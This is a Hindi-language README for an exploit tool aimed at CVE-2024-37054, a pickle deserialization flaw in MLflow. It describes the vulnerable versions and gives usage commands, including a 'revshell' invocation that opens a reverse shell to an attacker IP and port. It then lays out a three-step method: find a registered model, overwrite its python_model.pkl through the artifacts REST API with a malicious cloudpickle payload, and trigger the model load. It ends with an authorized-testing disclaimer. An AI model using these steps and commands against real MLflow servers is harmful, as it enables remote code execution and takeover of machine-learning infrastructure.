CVE-2024-37054 — MLflow pyfunc डिसीरियलाइज़ेशन RCE

गंभीरता: क्रिटिकल
प्रभावित: MLflow 0.9.0 – 2.14.1
प्रकार: Python pickle डिसीरियलाइज़ेशन के माध्यम से मनमाना कोड निष्पादन

विवरण

mlflow.pyfunc.load_model() आर्टिफैक्ट स्टोर से python_model.pkl को बिना किसी सैनिटाइज़ेशन के डिसीरियलाइज़ करता है। कोई हमलावर जो MLflow artifacts REST API तक पहुँच सकता है, उस फ़ाइल को एक दुर्भावनापूर्ण pickle से ओवरराइट कर सकता है, जिससे मॉडल के अगली बार लोड होने पर मनमाने OS कमांड निष्पादित होते हैं।

आवश्यकताएँ

pip install requests cloudpickle

उपयोग

# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  list

# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  revshell 10.10.16.1 4444

मुख्य विकल्प

यह कैसे काम करता है

1. खोजें — एक मॉडल और उसका run_id / experiment_id खोजने के लिए /api/2.0/mlflow/registered-models/search को क्वेरी करें
2. पॉइज़न करें — /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl पर एक दुर्भावनापूर्ण cloudpickle पेलोड PUT करें
3. ट्रिगर करें — उस मॉडल पर mlflow.pyfunc.load_model() को कॉल करने वाला कोई भी कोड पाथ पेलोड को अनपिकल करता है और कमांड निष्पादित करता है

ट्रिगर चरण के लिए एक ऐप्लिकेशन एंडपॉइंट आवश्यक है जो मॉडल को लोड करता है। यदि कोई ज्ञात नहीं है, तो --no-trigger का उपयोग करें (या --trigger-url को छोड़ दें) और किसी भी उपलब्ध माध्यम से लोडिंग को ट्रिगर करें।

अस्वीकरण

केवल अधिकृत पेनिट्रेशन परीक्षण और शैक्षिक उद्देश्यों के लिए।